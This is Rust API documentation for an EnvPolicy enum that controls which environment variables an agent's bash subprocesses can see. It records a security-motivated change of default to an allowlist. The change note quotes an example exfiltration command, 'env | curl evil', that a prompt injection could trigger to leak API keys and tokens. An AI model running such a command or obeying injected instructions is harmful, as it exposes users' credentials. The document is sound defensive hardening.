Enum EnvPolicy 

pub enum EnvPolicy {
    Inherit,
    Allowlist(Vec<String>),
}

Controls which environment variables are visible to bash subprocesses.

BREAKING CHANGE (F-FS-2): the default is now Allowlist(DAEMON_ENV_ALLOWLIST). Previously Inherit was the default — which passed all parent env vars (including ANTHROPIC_API_KEY, AWS_*, GITHUB_TOKEN, etc.) into bash. A single prompt-injection-driven env | curl evil call could exfiltrate every secret. Use EnvPolicy::Inherit explicitly (and document why) if you really want full inheritance.

Variants

Inherit

Inherit ALL env vars from the parent process. Dangerous when the agent can spawn shells under prompt-injection control. Opt-in only.

Allowlist(Vec<String>)

Only pass explicitly allowlisted env vars. Default — populated with DAEMON_ENV_ALLOWLIST which contains no secrets.

Trait Implementations

impl Clone for EnvPolicy

fn clone(&self) -> EnvPolicy

Returns a duplicate of the value.

fn clone_from(&mut self, source: &Self)

Performs copy-assignment from source.

impl Debug for EnvPolicy

fn fmt(&self, f: &mut Formatter<'_>) -> Result

Formats the value using the given formatter.

impl Default for EnvPolicy

fn default() -> Self

Returns the “default value” for a type.